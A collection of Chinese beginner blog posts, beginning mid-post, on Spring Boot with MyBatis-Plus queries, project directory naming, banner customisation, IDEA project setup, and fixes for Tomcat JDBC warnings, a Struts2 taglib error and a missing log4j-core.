}三、测试1.通过ApiPost测试getUser()方法http://localhost:8080/user/getUser?id=1输出结果如下：{ "id": 1, "username": "admin", "password": "admin" }可以看到，Service、Mapper一个方法都没写的情况下，从表里查出了id为1的信息，省去了MyBatis中xml的sql查询那一步，在官方给出的文档中，可以看到基本上都是基于主键id返回单一实体或实体list。四、条件构造器QueryWrapper设计自定义sql语句实现username查询[scode type="blue" size=""]使用Wrapper构造条件自定义sql子句，官网提供了两种方案，一种是Mapper.java中使用注解，另一种是配置Mapper.xml映射文件，这里使用第二种[/scode]1.resources下mapper文件夹添加UserMapper.xml<?xml version="1.0" encoding="UTF-8" ?> <mapper namespace="com.zhangz1.springbootdemo.mapper.UserMapper"> SELECT * FROM user where username = #{username} </mapper>2.UserService.java中添加方法/** * 通过名字查询 * * @param username * @return */ List<UserEntity> getUserByUserName(String username);3.UserServiceImpl.java中添加方法@Override public List<UserEntity> getUserByUserName(String username) { QueryWrapper<UserEntity> queryWrapper = new QueryWrapper<>(); queryWrapper.lambda().eq(UserEntity::getUsername, username); return baseMapper.getUserByUserName(username); }4.UserMapper.java中添加方法/** * 通过名字查询 * * @param username * @return */ List<UserEntity> getUserByUserName(String username);5.UserController.java中添加HTTP请求@RequestMapping(value = "/getUserByUserName") public List<UserEntity> getUserByUserName(String username) { return userService.getUserByUserName(username); }6.测试getUserByUserName http://localhost:8080/user/getUserByUserName?username=zhangz1输出结果如下：[ { "id": 2, "username": "zhangz1", "password": "zhangz1" }, { "id": 3, "username": "zhangz1", "password": "123" } ]总结1、MyBatis-Plus是MyBatis的增强版，在MyBatis的基础上只做增强不做改变；2、MyBatis-Plus官网的条件构造器一节中提供了eq、ne、like、isNull、having等拼接的方法，使用lambda写法使之简洁有效，单表操作的情况下，使用Mapper和Service封装的CURD方法节约代码量和工作量，详见https://baomidou.com/pages/10c804/#abstractwrapper；3、在多表联合复杂查询的时候就需要在xml文件里写sql语句。以上就是SpringBoot整合MyBatis-Plus简单demo的学习过程，关于MyBatis-Plus更多操作，后期还需结合官网加以实践，熟练操作。参考：MyBatis-PlusSpringBoot整合mybatis-plus
Spring Boot项目目录结构良好的命名风格有助于项目的开发和维护，发文记录一下比较标准的命名风格，也是自己比较喜欢的不仅仅适用于Spring Boot│ mvnw │ mvnw.cmd │ pom.xml │ README.md └─src ├─main │ ├─java │ │ └─com │ │ └─zhangz1 │ │ └─demo：项目名 │ │ │ DemoApplication.java：项目启动类 │ │ ├─config：放置配置类 │ │ ├─constants：放置常量、枚举等定义 │ │ │ ├─consist：存放常量定义 | | | ├─enums：存放枚举定义 │ │ ├─mapper/dao：放置数据访问层代码接口 │ │ ├─domain/model：数据领域模型 │ │ │ ├─entity：放置数据库实体对象定义 │ │ │ ├─dto：存放数据传输对象定义 │ │ │ ├─vo：存放显示层对象定义 │ │ ├─service：放置具体的业务逻辑代码（接口和实现分离） │ │ │ └─impl：存放业务逻辑实际实现 │ │ ├─utils：放置工具类和辅助代码 | | ├─filter：放置一些过滤、拦截相关的代码 │ │ └─controller：放置控制器代码 │ └─resources │ │ application.yml：项目配置文件，个人比较喜欢.yml型 │ │ ...... │ ├─mappers：放置映射文件 │ ├─static：存放html、css、js、图片等静态资源 │ └─templates：存放Thymeleaf等模板文件 └─test └─java └─com └─zhangz1 └─demo[scode type="blue" size=""]启动类DemoApplication.java推荐放在根目录com.zhangz1包下[/scode]
一、banner是什么banner就是启动Spring Boot项目后，控制台打印的横幅，如图二、如何修改修改时只需要在Spring Boot项目的resources文件夹下面创建一个banner.txt文件，Spring Boot启动的时候会去加载这个文件以zhangz1的一个banner为例 _ _ ___| |__ __ _ _ __ __ _ ___/ | |_ / '_ \ / _` | '_ \ / _` |_ / | / /| | | | (_| | | | | (_| |/ /| | /___|_| |_|\__,_|_| |_|\__, /___|_| |___/ 可以看到启动时已经变成我们修改的banner了同时banner也可以自由配置(具体移步百度)${AnsiColor.BRIGHT_RED}：设置控制台中输出内容的颜色${application.version}：用来获取MANIFEST.MF文件中的版本号${application.formatted-version}：格式化后的${application.version}版本信息${spring-boot.version}：Spring Boot的版本号${spring-boot.formatted-version}：格式化后的${spring-boot.version}版本信息分享几个定制banner的网站，文字、图片都可以http://patorjk.com/software/taag/https://www.bootschool.net/asciihttp://www.network-science.de/ascii/https://www.degraeve.com/img2txt.php三、如何关闭由于banner默认是显示的，所以有三种关闭方法通过启动类的main中代码关闭banner显示/** * @author zhangz1 */ @SpringBootApplication public class SpringBootDemoApplication { public static void main(String[] args) { SpringApplication springApplication=new SpringApplication(SpringBootDemoApplication.class); //关闭banner springApplication.setBannerMode(Banner.Mode.OFF); springApplication.run(args); } }application.properties配置文件spring.main.banner-mode=offEdit Configurations点击Modify options，弹出窗口，选择Hide Banner（idea版本不一样可能有所不同）
前言Spring Boot介绍使用SpringBoot可以让你快速搭建一个SpringWeb项目，它使用“习惯优于配置”的理念让你的项目快速运行起来。使用SpringBoot可以很容易创建一个独立运行（运行jar，内嵌Servlet容器）、准生产级别的基于Spring框架的项目。使用Spring Boot你可以不用或者是很少的配置。使用SpringBoot的优点：快速构建项；对主流开发框架的无配罝集成；项目可独立运行，无须外部依赖Servlet容器；提供运行时的应用监控；极大地提髙了开发、部署效率；与云计算的天然集成。一、选择Spring Initializr右边项目的相关信息可以参照Maven项目的填写，这里以springBootDemo命名项目1.Server URL是IDEA默认的下载spring相关文件的地址，需要在网络好的情况下才能行，否则报错2.Java版本的选择是随SDK的版本来的，我的SDK版本为17所以支持Java17，如果忘记修改会有错误提示二、选择依赖需要什么依赖就打上对勾即可一般是Web项目，所以我们勾选最基本的Web选项，同时我还勾选了Spring Boot DevTools，用于实现热部署，其他可以等用到的时候再添加这里简单介绍几个可能会用到的依赖Spring Boot Devtools：实现热部署Lombok：Java注解三、Finish点击Finish后等待idea加载索引搭建项目。成功后一个完整的Spring Boot项目的结构就搭好了。左侧为项目结构，右侧为初始打开的HELP.md文件目录结构及文件说明：+ src（源代码目录） + main（存放源代码） + java（存放 java 代码） - SpringBootDemoApplication （Spring Boot启动类，该类拥有 main 方法，用于启动应用程序） + resources（存放资源） - static（存放静态资源，如：html、js、img等） - template（存放模板文件，如：thymeleaf、freemarker模板等） - application.properties（Spring Boot 配置文件，可以为 .properties 或 .yml 类型） + test （存放测试代码） + java（存放 Java 测试代码） + resources（存放测试资源） + pom.xml（Maven 构建说明文件）运行默认的启动类SpringBootDemoApplication启动成功虽然我们没有实现视图层，但也可以访问localhost:8080[scode type="yellow" size=""]之所以没有配置Tomcat，是因为Spring Boot内置了Tomcat[/scode][scode type="blue" size=""]主要的几个代码说明：1、@SpringBootApplication：Spring Boot项目的核心注解，主要目的是开启自动配置。；2、@Configuration：这是一个配置Spring的配置类；3、@Controller：标明这是一个Spring MVC的Controller控制器；4、main方法：在main方法中启动一个应用，即：这个应用的入口；[/scode]
Interlij IDEA关闭tomcat服务器时出现警告"为防止内存泄漏，JDBC驱动程序已被强制取消注册"的解决办法
报错信息：[font color="Red"]28-Oct-2021 19:48:56.228 警告 [main] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc Web应用程序 [demo] 注册了JDBC驱动程序 [com.mysql.cj.jdbc.Driver]，但在Web应用程序停止时无法注销它。 为防止内存泄漏，JDBC驱动程序已被强制取消注册。[/font][font color="Red"]28-Oct-2021 19:48:56.228 警告 [main] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesThreads Web应用程序[demo]似乎启动了一个名为[mysql-cj-abandoned-connection-cleanup]的线程，但未能停止它。这很可能会造成内存泄漏。线程的堆栈跟踪：[[/font][font color="Red"]java.base@16.0.1/java.lang.Object.wait(Native Method)[/font][font color="Red"]java.base@16.0.1/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)com.mysql.cj.jdbc.AbandonedConnectionCleanupThread.run(AbandonedConnectionCleanupThread.java:91)[/font][font color="Red"]java.base@16.0.1/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)[/font][font color="Red"]java.base@16.0.1/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:630)[/font][font color="Red"]java.base@16.0.1/java.lang.Thread.run(Thread.java:831)][/font]解决方法：配置监听器，用来在Tomcat关闭时取消注册JDBC驱动程序，并将线程停止。编写自定义监听类package com.demo.db; /* * @fileName ContextListener.java * @author zhangz1 * @date 2021-10-28 19:18 * Copyright 2021 All rights reserved. */ import com.mysql.cj.jdbc.AbandonedConnectionCleanupThread; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import java.sql.DriverManager; import java.sql.SQLException; public class ContextListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent arg0) { System.out.println("服务器启动"); } @Override public void contextDestroyed(ServletContextEvent arg0) { System.out.println("服务器停止"); try { while (DriverManager.getDrivers().hasMoreElements()) { DriverManager.deregisterDriver(DriverManager.getDrivers().nextElement()); } System.out.println("JDBC驱动关闭"); AbandonedConnectionCleanupThread.checkedShutdown(); System.out.println("清理进程"); } catch (SQLException e) { e.printStackTrace(); } } }在web.xml中注册监听器<listener> <listener-class>com.demo.db.ContextListener</listener-class> </listener>最后正常运行即可参考Somber-的文章
解决Unable to find taglib [s] for URI: [/struts-tags]
在运行struts2框架时出现了这个问题因为之前修改了tomcat里的配置文件，所以导致tomcat让它跳过了tld检查，其实再改回去就好了，详情请看下文[post cid="43" cover=""/]但是改回去仍会像之前那样报红这里还有一种解决方案就是把struts2-core-2.5.26.jar包下META-INF里的struts-tags.tld复制到WEB-INF目录下，如图，这样就不会报错了
一、org.apache.catalina.core.StandardContext.filterStart 启动过滤器异常这个问题已经困我很多天了，为此我也浪费了很多时间和精力，也尝试了Netbeans和eclipse，但是因为不熟悉两款软件，最终让我不想继续尝试，我就继续钻研idea的问题。本来之前电脑里的tomcat什么的都是比较稳定的版本（就是老版本），然而暑假因为重置了电脑，所以这些东西都不在了，我就重新装了一下，因为比较喜欢新的，所以直接全部都下载了最新的版本，下的是tomcat10，但是在搭建Struts2项目时，迟迟无法启动tomcat，最后发现是web.xml配置文件的版本和tomcat的不匹配，一定要对应！否则会出问题！[scode type="share"]我又来了，老师讲了一下，说tomcat10的版本不支持struts2，所以问题所在应该是tomcat版本问题，另外我的配置是tomcat9.0.53+struts2.5.26，若文章别处仍有问题，不吝赐教[/scode]官方说明传送门二、Cannot resolve symbol '/xxx.jsp'这个问题很容易解决，去Project Structure-Modules里把下面的对勾打上就可以了三、能够正常启动服务器，但控制台提示ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...意思是StatusLogger Log4j2找不到日志实现。请将log4j-core添加到类路径中。使用SimpleLogger登录控制台…因为我导入的是struts2.5.20的最小包min包，就是最基础的包，里面是没有log4j-core-2.11.1.jar这个包，所以我们可以去官网下载这个包官网传送门下载解压后我们去里面找到log4j-core-2.11.1.jar这个包，把他复制到项目的lib包下同时在项目的src下加入一个log4j2.xml文件，配置如下：<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{ABSOLUTE} %5p %c{1}:%L - %m%n" /> </Console> <File name="LogFile" filename=".\mylog.log"> <PatternLayout pattern="%d{ABSOLUTE} %5p %c{1}:%L - %m%n" /> </File> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console" /> <!-- <AppenderRef ref="LogFile" /> --> </Root> </Loggers> </Configuration>最后重启服务器